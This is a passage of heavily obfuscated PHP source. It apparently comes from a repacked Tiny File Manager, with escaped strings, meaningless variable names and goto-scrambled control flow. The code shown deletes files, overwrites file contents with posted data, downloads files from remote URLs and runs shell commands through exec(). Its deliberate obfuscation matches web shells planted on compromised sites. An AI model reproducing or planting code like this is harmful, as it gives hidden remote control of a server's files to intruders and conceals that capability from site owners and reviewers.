"\74\163\x63\x72\x69\x70\164\x3e\x64\157\143\165\155\145\x6e\x74\56\141\x64\x64\x45\x76\x65\156\x74\114\x69\163\164\x65\156\x65\162\x28\x22\153\145\171\144\x6f\167\156\42\54\40\146\x75\156\143\164\x69\x6f\x6e\x28\145\51\40\x7b\151\146\40\x28\50\167\151\156\x64\x6f\167\x2e\x6e\x61\166\x69\147\141\164\157\x72\x2e\160\154\141\x74\x66\x6f\x72\x6d\x2e\155\x61\x74\143\x68\x28\x22\x4d\x61\x63\42\51\x20\77\40\x65\56\155\145\164\141\113\145\171\x20\72\40\145\56\143\164\162\154\113\x65\x79\x29\x20\x20\46\x26\40\x65\56\x6b\145\x79\103\157\144\x65\40\x3d\x3d\40\x38\x33\51\x20\173\40\145\56\x70\x72\x65\x76\145\156\x74\x44\145\x66\141\165\x6c\164\50\51\x3b\145\144\x69\164\x5f\x73\141\166\145\50\164\150\151\x73\54\42\x6e\162\x6c\x22\51\73\x7d\175\54\40\x66\x61\154\x73\x65\x29\x3b\x3c\x2f\163\143\x72\x69\160\x74\76"; } elseif ($kkkkkkk) { echo "\74\x64\x69\166\40\151\144\x3d\x22\145\144\151\164\157\x72\x22\x20\x63\x6f\156\x74\x65\156\x74\145\144\x69\x74\x61\142\154\145\75\x22\164\x72\x75\x65\x22\76" . htmlspecialchars($ooooooo) . "\74\57\144\151\166\x3e"; } else { fm_set_msg(lng("\x46\x49\x4c\105\x20\105\130\x54\105\116\x53\x49\x4f\116\40\x48\x41\x53\x20\x4e\117\x54\x20\123\x55\x50\120\117\x52\124\x45\104"), "\145\162\162\x6f\x72"); } ?>
</div><?php  fm_show_footer(); die; } goto JXI28; Ffukt: define("\x46\115\137\122\105\x41\x44\117\116\x4c\131", $h || $c && !empty($g) && isset($_SESSION[FM_SESSION_ID]["\154\157\147\x67\x65\x64"]) && in_array($_SESSION[FM_SESSION_ID]["\154\x6f\x67\x67\145\x64"], $g)); goto C6I4T; DnZZE: ?>
<th><?php  goto ho1Ix; XssFS: $nn = new FM_Config(); goto kk_kT; xFGMU: defined("\106\115\137\123\105\114\x46\x5f\x55\x52\x4c") || define("\x46\x4d\137\x53\105\114\x46\x5f\x55\122\114", ($yy ? "\x68\x74\x74\x70\163" : "\x68\164\x74\160") . "\x3a\x2f\x2f" . $t . $_SERVER["\120\110\x50\137\123\x45\x4c\106"]); goto y2vr5; ScVcK: $ll = array("\x63\163\x73\x2d\x62\x6f\157\x74\x73\x74\x72\x61\x70" => "\74\x6c\x69\x6e\x6b\x20\150\x72\145\146\x3d\x22\150\x74\164\160\x73\x3a\x2f\57\x63\144\156\x2e\152\163\144\145\154\x69\166\x72\x2e\x6e\145\x74\x2f\156\160\155\x2f\x62\157\157\164\163\x74\x72\141\x70\100\65\x2e\x32\x2e\x32\x2f\144\151\163\x74\x2f\143\163\163\x2f\142\x6f\x6f\164\163\x74\162\x61\x70\56\155\151\156\56\x63\x73\x73\42\x20\162\145\154\x3d\42\163\164\171\154\x65\x73\150\x65\145\x74\42\x20\151\156\x74\145\147\x72\151\x74\171\x3d\42\x73\150\x61\63\x38\64\55\132\x65\x6e\150\70\x37\161\x58\x35\112\x6e\x4b\62\112\x6c\60\166\127\x61\70\103\x6b\x32\x72\x64\153\121\x32\x42\172\145\160\65\x49\104\x78\142\x63\156\103\x65\x75\117\x78\152\172\162\x50\x46\57\145\x74\63\x55\x52\x79\x39\x42\x76\61\127\x54\122\x69\42\x20\x63\162\x6f\163\163\x6f\x72\x69\147\151\156\75\x22\141\156\x6f\156\x79\x6d\x6f\165\x73\x22\x3e", "\x63\163\163\55\144\x72\157\160\x7a\x6f\x6e\145" => "\x3c\154\151\156\153\40\150\x72\x65\146\x3d\42\150\x74\x74\x70\163\72\x2f\57\x63\x64\x6e\x6a\x73\56\x63\x6c\157\x75\x64\x66\154\x61\x72\x65\56\143\157\155\57\141\152\x61\170\57\x6c\151\x62\x73\x2f\144\x72\x6f\x70\172\157\x6e\145\x2f\x35\56\x39\56\x33\x2f\155\151\156\x2f\x64\162\157\160\172\x6f\x6e\x65\56\155\x69\x6e\56\143\x73\163\x22\40\x72\145\x6c\75\42\163\x74\171\x6c\x65\163\150\145\145\164\x22\76", "\x63\x73\x73\55\x66\157\x6e\x74\55\141\x77\x65\x73\157\155\x65" => "\x3c\154\151\156\x6b\x20\162\x65\x6c\75\42\163\164\x79\x6c\x65\163\x68\145\145\x74\x22\40\150\162\145\146\x3d\x22\150\164\164\x70\x73\x3a\x2f\x2f\143\x64\x6e\x6a\x73\56\x63\x6c\x6f\165\x64\146\x6c\x61\162\145\x2e\x63\x6f\155\57\x61\152\x61\x78\57\154\151\x62\163\x2f\x66\157\x6e\x74\x2d\x61\167\x65\x73\157\x6d\x65\57\64\56\x37\56\60\x2f\143\x73\163\x2f\x66\157\x6e\164\55\141\167\x65\163\157\x6d\x65\56\x6d\x69\156\56\143\x73\163\x22\x20\143\162\x6f\163\163\x6f\x72\151\147\151\156\x3d\42\x61\x6e\x6f\156\171\155\x6f\165\163\x22\76", "\x63\163\x73\55\150\151\147\150\154\151\147\150\164\x6a\x73" => "\x3c\x6c\x69\x6e\153\40\162\145\x6c\75\42\163\164\171\154\145\163\150\x65\x65\x74\x22\40\150\162\x65\x66\x3d\x22\150\164\164\160\163\x3a\57\x2f\143\x64\156\152\163\56\x63\x6c\157\x75\144\146\x6c\x61\x72\145\56\x63\157\x6d\x2f\x61\152\141\170\x2f\x6c\x69\142\x73\x2f\x68\x69\147\150\154\x69\x67\x68\x74\x2e\152\163\57\61\x31\x2e\66\x2e\x30\57\x73\164\x79\x6c\x65\x73\x2f" . $n . "\x2e\155\x69\x6e\56\143\163\163\42\76", "\x6a\x73\55\141\x63\x65" => "\74\163\143\162\x69\x70\x74\40\163\162\143\x3d\42\x68\164\x74\x70\163\x3a\x2f\x2f\x63\x64\x6e\x6a\163\56\143\154\157\x75\x64\146\154\141\x72\x65\x2e\x63\x6f\155\x2f\141\x6a\141\x78\x2f\x6c\151\x62\x73\x2f\141\x63\145\57\x31\56\x31\63\x2e\x31\57\x61\x63\x65\56\152\x73\42\76\74\x2f\163\143\x72\151\160\164\x3e", "\152\163\55\142\x6f\157\x74\x73\164\162\141\160" => "\x3c\163\x63\x72\x69\160\164\40\x73\162\143\75\42\x68\x74\x74\160\x73\x3a\x2f\57\x63\144\x6e\x2e\x6a\x73\x64\145\x6c\151\166\162\56\x6e\x65\164\57\x6e\160\155\x2f\x62\x6f\157\x74\x73\164\x72\x61\160\x40\x35\56\x32\x2e\x32\57\144\x69\163\x74\57\x6a\x73\x2f\x62\x6f\157\x74\x73\x74\162\141\x70\56\x62\165\156\144\154\145\56\155\151\156\x2e\152\163\42\x20\151\156\x74\x65\147\x72\151\x74\x79\x3d\42\x73\x68\141\x33\x38\x34\55\x4f\105\x52\x63\101\62\105\x71\x6a\x4a\103\x4d\101\53\x2f\x33\171\x2b\147\x78\x49\117\161\x4d\105\152\x77\164\170\x4a\131\x37\161\x50\103\x71\x73\144\x6c\164\142\116\x4a\x75\141\117\145\x39\62\x33\x2b\155\x6f\57\57\146\x36\126\70\x51\142\163\x77\x33\x22\x20\143\162\157\163\x73\x6f\x72\x69\147\151\156\x3d\42\141\156\x6f\156\171\x6d\x6f\x75\163\42\x3e\74\57\x73\143\162\x69\x70\164\x3e", "\x6a\163\55\x64\162\157\x70\x7a\x6f\x6e\x65" => "\x3c\x73\143\x72\151\160\x74\x20\x73\162\x63\x3d\42\x68\164\x74\160\x73\x3a\x2f\x2f\143\x64\156\x6a\x73\56\143\154\x6f\165\x64\146\x6c\x61\162\145\x2e\x63\x6f\x6d\x2f\141\x6a\x61\x78\x2f\x6c\x69\x62\163\x2f\144\x72\157\160\172\x6f\x6e\x65\x2f\x35\56\x39\x2e\x33\x2f\155\x69\x6e\57\144\x72\x6f\x70\172\x6f\x6e\x65\56\x6d\151\x6e\56\152\x73\x22\76\x3c\57\163\143\x72\x69\x70\x74\76", "\x6a\x73\55\152\161\x75\x65\162\x79" => "\74\x73\143\162\151\x70\164\40\163\162\143\x3d\x22\x68\x74\164\x70\163\x3a\57\57\143\x6f\144\x65\x2e\x6a\161\x75\145\162\x79\x2e\143\x6f\x6d\x2f\x6a\x71\x75\x65\x72\x79\55\63\x2e\66\56\61\x2e\x6d\x69\x6e\x2e\x6a\x73\x22\40\x69\156\x74\145\147\x72\x69\164\x79\x3d\x22\x73\x68\x61\x32\x35\66\55\157\70\70\101\x77\x51\x6e\x5a\102\x2b\126\104\166\x45\71\164\x76\111\x58\162\x4d\121\x61\120\154\x46\x46\123\125\124\x52\x2b\x6e\154\144\x51\x6d\61\x4c\x75\120\x58\x51\x3d\42\40\143\162\x6f\x73\163\157\162\x69\x67\x69\156\x3d\x22\x61\156\157\x6e\x79\x6d\x6f\165\163\x22\x3e\74\x2f\163\143\162\151\x70\x74\x3e", "\152\163\55\x6a\161\165\145\162\171\55\144\141\164\x61\164\141\142\154\x65\x73" => "\x3c\x73\143\x72\x69\x70\x74\40\163\162\143\75\x22\x68\164\x74\x70\x73\72\x2f\57\143\x64\156\x2e\144\x61\164\141\164\141\x62\x6c\145\x73\x2e\x6e\145\x74\x2f\x31\x2e\x31\x33\x2e\x31\x2f\152\x73\x2f\152\x71\165\145\x72\171\56\x64\x61\164\141\x54\141\x62\x6c\x65\163\56\x6d\151\156\x2e\152\x73\42\x20\x63\162\157\x73\163\157\162\151\x67\151\156\75\42\x61\x6e\x6f\x6e\x79\155\x6f\x75\163\x22\40\x64\145\x66\x65\162\x3e\74\x2f\163\x63\x72\151\x70\164\x3e", "\152\x73\x2d\x68\x69\x67\150\154\x69\x67\x68\x74\152\x73" => "\74\x73\x63\162\x69\160\164\x20\163\x72\143\x3d\x22\x68\x74\x74\160\163\72\x2f\57\143\144\156\x6a\x73\56\x63\154\x6f\x75\x64\x66\x6c\x61\x72\x65\x2e\143\157\155\57\x61\152\x61\170\x2f\154\x69\x62\x73\57\150\x69\x67\150\x6c\151\x67\x68\164\56\152\x73\x2f\x31\x31\56\66\56\60\57\x68\151\147\150\154\151\147\150\x74\56\x6d\151\x6e\56\x6a\x73\x22\76\x3c\57\163\143\162\151\x70\x74\76", "\160\162\x65\55\x6a\x73\x64\145\154\151\166\162" => "\x3c\154\151\156\x6b\40\x72\145\x6c\x3d\x22\160\162\x65\x63\157\x6e\156\145\143\x74\x22\40\x68\x72\x65\146\x3d\42\150\164\164\x70\163\x3a\x2f\57\x63\x64\x6e\x2e\152\x73\144\145\154\151\x76\162\x2e\x6e\145\164\x22\x20\143\x72\157\163\163\157\162\x69\x67\151\x6e\x2f\76\x3c\x6c\151\x6e\153\40\162\145\154\75\42\144\156\163\55\160\x72\145\146\145\164\143\x68\x22\40\x68\x72\145\x66\x3d\x22\x68\x74\164\160\x73\72\57\x2f\x63\144\156\x2e\x6a\x73\x64\145\154\x69\166\162\x2e\156\145\x74\x22\x2f\x3e", "\x70\162\145\x2d\143\154\x6f\165\x64\x66\x6c\x61\x72\145" => "\74\154\151\156\x6b\x20\162\x65\x6c\x3d\x22\x70\162\x65\143\x6f\x6e\x6e\x65\x63\164\x22\40\x68\162\x65\x66\x3d\x22\150\164\164\x70\x73\72\57\x2f\x63\x64\156\x6a\163\x2e\x63\154\x6f\x75\x64\146\x6c\141\x72\145\x2e\x63\x6f\155\42\x20\x63\x72\x6f\x73\x73\x6f\x72\x69\147\x69\x6e\x2f\76\74\154\x69\x6e\153\x20\162\145\x6c\75\x22\144\156\163\55\160\162\x65\146\x65\164\143\150\x22\x20\150\x72\x65\146\75\42\150\x74\x74\160\x73\x3a\57\x2f\x63\144\x6e\x6a\x73\56\143\x6c\157\165\144\x66\x6c\141\162\145\56\x63\157\155\x22\x2f\x3e"); goto kt2cY; dj1Vl: if (isset($_POST["\147\162\x6f\165\160"], $_POST["\144\x65\154\145\x74\x65"], $_POST["\x74\x6f\x6b\x65\x6e"]) && !FM_READONLY) { if (!verifyToken($_POST["\164\157\x6b\145\156"])) { fm_set_msg(lng("\111\x6e\x76\x61\x6c\151\x64\40\124\157\x6b\x65\156\56"), "\145\162\162\x6f\x72"); } $iii = FM_ROOT_PATH; if (FM_PATH != '') { $iii .= "\57" . FM_PATH; } $kkkkk = 0; $lllll = $_POST["\146\x69\154\x65"]; if (is_array($lllll) && count($lllll)) { foreach ($lllll as $mmmmm) { if ($mmmmm != '') { $eeeeee = $iii . "\x2f" . $mmmmm; if (!fm_rdelete($eeeeee)) { $kkkkk++; } } } if ($kkkkk == 0) { fm_set_msg(lng("\x53\145\154\x65\143\x74\x65\x64\x20\146\151\154\145\163\40\141\x6e\x64\40\146\157\154\x64\x65\162\40\144\145\154\145\x74\145\144")); } else { fm_set_msg(lng("\x45\x72\x72\x6f\x72\40\x77\x68\x69\154\145\40\144\145\154\x65\x74\x69\x6e\147\x20\x69\x74\145\155\x73"), "\x65\162\162\157\x72"); } } else { fm_set_msg(lng("\x4e\157\x74\150\151\x6e\147\x20\163\145\154\x65\x63\164\x65\144"), "\141\x6c\x65\162\164"); } $jjj = FM_PATH; fm_redirect(FM_SELF_URL . "\77\x70\x3d" . urlencode($jjj)); } goto cOjRk; pAfyg: $r = rtrim($r, "\x5c\x2f"); goto BKLjs; RmoGZ: define("\x46\115\x5f\x54\110\x45\x4d\105", $ss); goto x21Bt; MKCxQ: function fm_get_theme() { $wwwwwwwwww = ''; if (FM_THEME == "\144\x61\162\153") { $wwwwwwwwww = "\x74\x65\170\164\x2d\x77\150\151\x74\x65\x20\142\147\x2d\x64\141\162\153"; } return $wwwwwwwwww; } goto xynJp; Ccl4c: if ($c && isset($_SESSION[FM_SESSION_ID]["\154\x6f\147\x67\x65\x64"])) { $r = isset($j[$_SESSION[FM_SESSION_ID]["\x6c\157\x67\147\145\x64"]]) ? $j[$_SESSION[FM_SESSION_ID]["\x6c\x6f\x67\147\145\144"]] : $r; } goto pAfyg; BKLjs: $r = str_replace("\x5c", "\57", $r); goto eCfLO; ibfmY: function fm_get_filesize($rrrrrrrrr) { $rrrrrrrrr = (double) $rrrrrrrrr; $ttttttttt = array("\102", "\113\x42", "\x4d\102", "\x47\x42", "\x54\102", "\120\x42", "\x45\x42", "\x5a\102", "\x59\x42"); $uuuuuuuuu = $rrrrrrrrr > 0 ? floor(log($rrrrrrrrr, 1024)) : 0; $uuuuuuuuu = $uuuuuuuuu > count($ttttttttt) - 1 ? count($ttttttttt) - 1 : $uuuuuuuuu; return sprintf("\45\x73\x20\45\x73", round($rrrrrrrrr / pow(1024, $uuuuuuuuu), 2), $ttttttttt[$uuuuuuuuu]); } goto y289V; y289V: function fm_get_directorysize($vvvvvvvvv) { $wwwwwwwww = 0; $vvvvvvvvv = realpath($vvvvvvvvv); if ($vvvvvvvvv !== false && $vvvvvvvvv != '' && file_exists($vvvvvvvvv)) { foreach (new RecursiveIteratorIterator(new RecursiveDirectoryIterator($vvvvvvvvv, FilesystemIterator::SKIP_DOTS)) as $ww) { $wwwwwwwww += $ww->getSize(); } } return $wwwwwwwww; } goto r8nFt; jjYtR: $eee = fm_clean_path($eee); goto UKEMM; GhPhc: $s = ''; goto FV9kG; LuUh0: $jj = array("\61\62\x37\x2e\60\x2e\x30\56\x31", "\72\72\61"); goto Dsrsg; Au7GS: if ((isset($_SESSION[FM_SESSION_ID]["\x6c\x6f\147\147\x65\x64"], $d[$_SESSION[FM_SESSION_ID]["\154\x6f\147\x67\145\144"]]) || !FM_USE_AUTH) && isset($_POST["\141\x6a\x61\x78"], $_POST["\x74\x6f\x6b\x65\156"]) && !FM_READONLY) { if (!verifyToken($_POST["\x74\x6f\x6b\x65\156"])) { header("\110\124\x54\x50\x2f\x31\x2e\60\40\64\x30\x31\40\x55\x6e\141\165\164\x68\x6f\162\151\x7a\145\144"); die("\111\x6e\x76\141\154\x69\144\x20\x54\x6f\x6b\x65\156\56"); } if (isset($_POST["\164\171\160\145"]) && $_POST["\x74\x79\160\x65"] == "\x73\x65\x61\x72\143\x68") { $ggg = $_POST["\x70\141\x74\150"] == "\56" ? '' : $_POST["\x70\141\164\x68"]; $hhh = scan(fm_clean_path($ggg), $_POST["\x63\x6f\156\164\x65\x6e\164"]); echo json_encode($hhh); die; } if (isset($_POST["\x74\171\x70\x65"]) && $_POST["\164\171\160\x65"] == "\163\x61\166\145") { $iii = FM_ROOT_PATH; if (FM_PATH != '') { $iii .= "\57" . FM_PATH; } if (!is_dir($iii)) { fm_redirect(FM_SELF_URL . "\x3f\160\x3d"); } $ww = $_GET["\x65\x64\x69\164"]; $ww = fm_clean_path($ww); $ww = str_replace("\x2f", '', $ww); if ($ww == '' || !is_file($iii . "\57" . $ww)) { fm_set_msg(lng("\106\151\154\145\40\x6e\157\164\x20\146\x6f\x75\156\144"), "\x65\x72\162\157\162"); $jjj = FM_PATH; fm_redirect(FM_SELF_URL . "\77\x70\x3d" . urlencode($jjj)); } header("\x58\55\x58\123\x53\55\x50\x72\157\x74\x65\143\164\151\157\156\x3a\60"); $kkk = $iii . "\x2f" . $ww; $lll = $_POST["\143\157\156\x74\145\x6e\x74"]; $mmm = fopen($kkk, "\x77"); $nnn = @fwrite($mmm, $lll); fclose($mmm); if ($nnn === false) { header("\x48\x54\x54\x50\x2f\61\x2e\x31\40\65\x30\x30\x20\111\156\x74\145\162\x6e\141\x6c\40\123\145\x72\166\145\162\40\x45\162\x72\157\x72"); die("\x43\157\x75\x6c\144\40\x4e\157\x74\x20\127\x72\x69\x74\x65\x20\106\151\154\145\41\x20\x2d\x20\x43\150\145\x63\153\40\120\145\x72\x6d\x69\x73\x73\x69\x6f\156\163\40\x2f\40\x4f\x77\x6e\x65\x72\x73\150\x69\x70"); } die(true); } if (isset($_POST["\164\x79\160\x65"]) && $_POST["\164\x79\160\145"] == "\142\x61\143\153\x75\160" && !empty($_POST["\x66\x69\154\x65"])) { $ooo = fm_clean_path($_POST["\146\151\x6c\145"]); $ppp = FM_ROOT_PATH . "\x2f"; if (!empty($_POST["\160\141\164\x68"])) { $qqq = fm_clean_path($_POST["\x70\x61\x74\x68"]); $ppp .= "{$qqq}\x2f"; } $rrr = date("\x64\115\x79\x2d\110\x69\x73"); $sss = "{$ooo}\x2d{$rrr}\x2e\142\141\x6b"; $ttt = $ppp . $ooo; try { if (!file_exists($ttt)) { throw new Exception("\x46\x69\x6c\145\x20{$ooo}\x20\156\157\x74\40\146\157\x75\x6e\144"); } if (copy($ttt, $ppp . $sss)) { echo "\102\141\x63\153\x75\x70\x20{$sss}\40\143\x72\145\x61\164\145\x64"; } else { throw new Exception("\x43\x6f\165\154\144\40\x6e\157\164\x20\143\x6f\x70\x79\x20\146\151\154\x65\40{$ooo}"); } } catch (Exception $uuu) { echo $uuu->getMessage(); } } if (isset($_POST["\164\171\x70\145"]) && $_POST["\x74\171\x70\145"] == "\163\x65\164\164\x69\156\x67\x73") { global $nn, $oo, $qq, $pp, $tt, $rr, $ss; $vvv = $_POST["\x6a\x73\55\x6c\x61\x6e\x67\165\x61\x67\x65"]; fm_get_translations(array()); if (!array_key_exists($vvv, $tt)) { $vvv = "\145\x6e"; } $www = isset($_POST["\152\x73\x2d\x65\x72\162\x6f\x72\x2d\162\x65\160\x6f\162\x74"]) && $_POST["\x6a\x73\x2d\145\162\162\157\162\x2d\162\x65\160\x6f\x72\x74"] == "\164\x72\165\x65" ? true : false; $xxx = isset($_POST["\152\x73\55\x73\150\x6f\167\55\150\151\x64\x64\x65\x6e"]) && $_POST["\152\x73\x2d\x73\x68\157\x77\55\150\x69\x64\x64\x65\x6e"] == "\x74\x72\x75\x65" ? true : false; $yyy = isset($_POST["\152\163\x2d\150\x69\x64\x65\x2d\x63\157\154\163"]) && $_POST["\152\163\x2d\x68\151\144\x65\x2d\x63\x6f\x6c\x73"] == "\x74\162\x75\145" ? true : false; $zzz = $_POST["\x6a\163\55\x74\150\145\x6d\x65\55\x33"]; if ($nn->data["\154\x61\x6e\x67"] != $vvv) { $nn->data["\x6c\x61\156\147"] = $vvv; $oo = $vvv; } if ($nn->data["\145\162\162\157\162\x5f\162\x65\x70\x6f\162\164\151\x6e\x67"] != $www) { $nn->data["\145\162\x72\x6f\162\137\162\145\160\x6f\162\164\x69\x6e\147"] = $www; $qq = $www; } if ($nn->data["\x73\150\x6f\x77\137\150\x69\x64\144\145\x6e"] != $xxx) { $nn->data["\163\x68\x6f\167\x5f\x68\151\144\x64\145\156"] = $xxx; $pp = $xxx; } if ($nn->data["\x73\x68\157\x77\x5f\x68\151\144\144\145\156"] != $xxx) { $nn->data["\x73\150\157\167\137\x68\x69\x64\144\145\156"] = $xxx; $pp = $xxx; } if ($nn->data["\x68\x69\144\x65\x5f\103\x6f\x6c\x73"] != $yyy) { $nn->data["\150\151\x64\145\137\x43\x6f\154\163"] = $yyy; $rr = $yyy; } if ($nn->data["\164\x68\x65\x6d\145"] != $zzz) { $nn->data["\x74\150\145\155\x65"] = $zzz; $ss = $zzz; } $nn->save(); echo true; } if (isset($_POST["\x74\x79\x70\145"]) && $_POST["\164\171\x70\x65"] == "\160\x77\144\x68\141\163\150") { $aaaa = isset($_POST["\151\156\x70\165\x74\120\141\163\163\167\157\x72\144\x32"]) && !empty($_POST["\151\x6e\160\165\164\x50\x61\x73\x73\167\157\162\144\62"]) ? password_hash($_POST["\151\x6e\160\x75\164\x50\141\163\x73\x77\x6f\162\144\x32"], PASSWORD_DEFAULT) : ''; echo $aaaa; } if (isset($_POST["\x74\171\160\145"]) && $_POST["\164\171\160\x65"] == "\165\x70\x6c\x6f\141\x64" && !empty($_REQUEST["\x75\160\x6c\157\141\x64\165\162\x6c"])) { $iii = FM_ROOT_PATH; if (FM_PATH != '') { $iii .= "\x2f" . FM_PATH; } function event_callback($bbbb) { global $cccc; echo json_encode($bbbb); } function get_file_path() { global $iii, $dddd, $eeee; return $iii . "\57" . basename($dddd->name); } $ffff = !empty($_REQUEST["\165\160\154\157\x61\x64\165\162\154"]) && preg_match("\x7c\x5e\150\164\x74\160\x28\163\51\x3f\72\57\57\x2e\53\44\174", stripslashes($_REQUEST["\165\x70\154\x6f\x61\x64\x75\x72\154"])) ? stripslashes($_REQUEST["\x75\x70\154\x6f\x61\144\x75\x72\x6c"]) : null; $gggg = parse_url($ffff, PHP_URL_HOST); $hhhh = parse_url($ffff, PHP_URL_PORT); $iiii = array(22, 23, 25, 3306); if (preg_match("\57\136\x6c\x6f\143\x61\154\150\x6f\163\164\x24\x7c\x5e\61\x32\x37\x28\77\72\134\56\133\x30\55\x39\135\x2b\51\x7b\x30\x2c\x32\175\x5c\56\x5b\60\55\71\x5d\x2b\x24\x7c\136\x28\77\x3a\60\52\134\72\x29\52\77\x3a\77\60\x2a\x31\x24\x2f\x69", $gggg) || in_array($hhhh, $iiii)) { $jjjj = array("\x6d\x65\163\x73\x61\147\x65" => "\x55\122\114\40\151\163\x20\156\x6f\164\40\141\x6c\154\157\x77\x65\x64"); event_callback(array("\146\141\151\154" => $jjjj)); die; } $kkkk = false; $eeee = tempnam(sys_get_temp_dir(), "\x75\x70\154\157\x61\144\x2d"); $dddd = new stdClass(); $dddd->name = trim(basename($ffff), "\56\0\x2e\56\x20"); $llll = FM_UPLOAD_EXTENSION ? explode("\x2c", FM_UPLOAD_EXTENSION) : false; $mmmm = strtolower(pathinfo($dddd->name, PATHINFO_EXTENSION)); $nnnn = $llll ? in_array($mmmm, $llll) : true; $jjjj = false; if (!$nnnn) { $jjjj = array("\x6d\x65\163\x73\x61\147\145" => "\x46\151\x6c\x65\x20\145\170\164\x65\156\x73\x69\157\x6e\40\151\163\40\156\x6f\x74\x20\x61\x6c\154\157\x77\x65\x64"); event_callback(array("\x66\x61\x69\154" => $jjjj)); die; } if (!$ffff) { $oooo = false; } else { if ($kkkk) { @($pppp = fopen($eeee, "\x77")); @($qqqq = curl_init($ffff)); curl_setopt($qqqq, CURLOPT_NOPROGRESS, false); curl_setopt($qqqq, CURLOPT_FOLLOWLOCATION, true); curl_setopt($qqqq, CURLOPT_FILE, $pppp); @($oooo = curl_exec($qqqq)); $rrrr = curl_getinfo($qqqq); if (!$oooo) { $jjjj = array("\155\145\163\x73\141\147\145" => curl_error($qqqq)); } @curl_close($qqqq); fclose($pppp); $dddd->size = $rrrr["\x73\151\172\x65\x5f\144\157\167\x6e\154\x6f\141\144"]; $dddd->type = $rrrr["\x63\x6f\156\x74\145\156\164\x5f\x74\171\x70\145"]; } else { $ssss = stream_context_create(); @($oooo = copy($ffff, $eeee, $ssss)); if (!$oooo) { $jjjj = error_get_last(); } } } if ($oooo) { $oooo = rename($eeee, strtok(get_file_path(), "\77")); } if ($oooo) { event_callback(array("\144\x6f\x6e\x65" => $dddd)); } else { unlink($eeee); if (!$jjjj) { $jjjj = array("\155\145\163\x73\141\147\145" => "\x49\156\x76\141\x6c\151\x64\x20\165\x72\x6c\40\160\141\162\141\155\145\164\x65\x72"); } event_callback(array("\x66\141\151\154" => $jjjj)); } } die; } goto KiSWy; Da3Z2: if (isset($_GET["\150\x65\154\160"])) { fm_show_header(); fm_show_nav_path(FM_PATH); global $nn, $oo; ?>
<div class="pt-3 col-md-8 offset-md-2"><div class="card mb-2<?php  echo fm_get_theme(); ?>
"><h6 class="card-header d-flex justify-content-between"><span><i class="fa fa-exclamation-circle"></i><?php  echo lng("\x48\145\154\x70"); ?>
</span><a href="?p=<?php  echo FM_PATH; ?>
"class="text-danger"><i class="fa fa-times-circle-o"></i><?php  echo lng("\x43\141\156\143\x65\154"); ?>
</a></h6><div class="card-body"><div class="row"><div class="col-xs-12 col-sm-6"><p><h3><a href="https://github.com/prasathmani/tinyfilemanager"class="app-v-title"target="_blank">Tiny File Manager<?php  echo VERSION; ?>
</a></h3></p><p>Author: Prasath Mani</p><p>Mail Us: <a href="mailto:[email protected]">ccpprogrammers[at]gmail.com</a></p></div><div class="col-xs-12 col-sm-6"><div class="card"><ul class="list-group list-group-flush"><li class="list-group-item"><a href="https://github.com/prasathmani/tinyfilemanager/wiki"target="_blank"><i class="fa fa-question-circle"></i><?php  echo lng("\110\145\x6c\160\x20\104\x6f\143\x75\155\x65\156\164\163"); ?>
</a></li><li class="list-group-item"><a href="https://github.com/prasathmani/tinyfilemanager/issues"target="_blank"><i class="fa fa-bug"></i><?php  echo lng("\122\145\x70\x6f\162\x74\40\x49\163\x73\x75\x65"); ?>
</a></li><?php  if (!FM_READONLY) { ?>
<li class="list-group-item"><a href="javascript:show_new_pwd();"><i class="fa fa-lock"></i><?php  echo lng("\107\145\x6e\x65\162\x61\164\x65\x20\156\x65\167\40\x70\x61\163\163\x77\157\x72\x64\40\x68\x61\163\150"); ?>
</a></li><?php  } ?>
</ul></div></div></div><div class="row hidden js-new-pwd mt-2"><div class="col-12"><form method="POST"action=""class="form-inline"onsubmit="return new_password_hash(this)"><input name="type"type="hidden"value="pwdhash"aria-hidden="true"aria-label="hidden"><div class="mb-2 form-group"><label for="staticEmail2"><?php  echo lng("\107\x65\x6e\145\162\141\164\x65\x20\x6e\145\x77\x20\160\141\x73\163\x77\157\x72\x64\40\x68\x61\163\x68"); ?>
</label></div><div class="mb-2 form-group mx-sm-3"><label for="inputPassword2"class="sr-only"><?php  echo lng("\120\141\x73\x73\x77\157\x72\x64"); ?>
</label> <input name="inputPassword2"id="inputPassword2"class="btn-sm form-control"required placeholder="<?php  echo lng("\x50\x61\x73\163\x77\157\162\144"); ?>
"></div><button class="btn btn-sm btn-success mb-2"type="submit"><?php  echo lng("\x47\x65\x6e\x65\162\141\164\145"); ?>
</button></form><textarea class="form-control"id="js-pwd-result"readonly rows="2"></textarea></div></div></div></div></div><?php  fm_show_footer(); die; } goto TTddz; NMazu: function fm_get_size($ww) { static $lllllllll; static $mmmmmmmmm; if (!isset($lllllllll)) { $lllllllll = strtoupper(substr(PHP_OS, 0, 3)) == "\127\x49\116"; } if (!isset($mmmmmmmmm)) { $mmmmmmmmm = strtoupper(substr(PHP_OS, 0)) == "\x44\x41\x52\x57\111\x4e"; } static $nnnnnnnnn; if (!isset($nnnnnnnnn)) { $nnnnnnnnn = function_exists("\x65\x78\x65\x63") && !ini_get("\163\141\146\145\137\x6d\x6f\144\145") && @exec("\x65\x63\150\157\40\105\x58\x45\103") == "\105\x58\105\103"; } if ($nnnnnnnnn) { $ooooooooo = escapeshellarg($ww); $ppppppppp = $lllllllll ? "\146\157\x72\x20\x25\x46\x20\x69\x6e\x20\50\x22{$ww}\42\x29\x20\x64\x6f\40\100\x65\x63\150\x6f\40\45\176\x7a\x46" : ($mmmmmmmmm ? "\163\x74\141\164\40\x2d\x66\x25\172\40{$ooooooooo}" : "\x73\x74\141\x74\40\x2d\x63\x25\x73\x20{$ooooooooo}"); @exec($ppppppppp, $qqqqqqqqq); if (is_array($qqqqqqqqq) && ctype_digit($rrrrrrrrr = trim(implode("\xa", $qqqqqqqqq)))) { return $rrrrrrrrr; } } if ($lllllllll && class_exists("\103\117\115")) { try { $sssssssss = new COM("\x53\143\x72\151\x70\x74\151\x6e\147\56\106\151\x6c\145\123\x79\163\164\145\155\x4f\142\x6a\145\x63\164"); $mmmmm = $sssssssss->GetFile(realpath($ww)); $rrrrrrrrr = $mmmmm->Size; } catch (Exception $uuu) { $rrrrrrrrr = null; } if (ctype_digit($rrrrrrrrr)) { return $rrrrrrrrr; } } return filesize($ww); } goto ibfmY; RReJw: function fm_rcopy($iii, $zzzz, $vvvvvvvv = true, $wwwwwwww = true) { if (is_dir($iii)) { if (!fm_mkdir($zzzz, $wwwwwwww)) { return false; } $rrrrrr = scandir($iii); $ssssssss = true; if (is_array($rrrrrr)) { foreach ($rrrrrr as $ww) { if ($ww != "\56" && $ww != "\56\56") { if (!fm_rcopy($iii . "\x2f" . $ww, $zzzz . 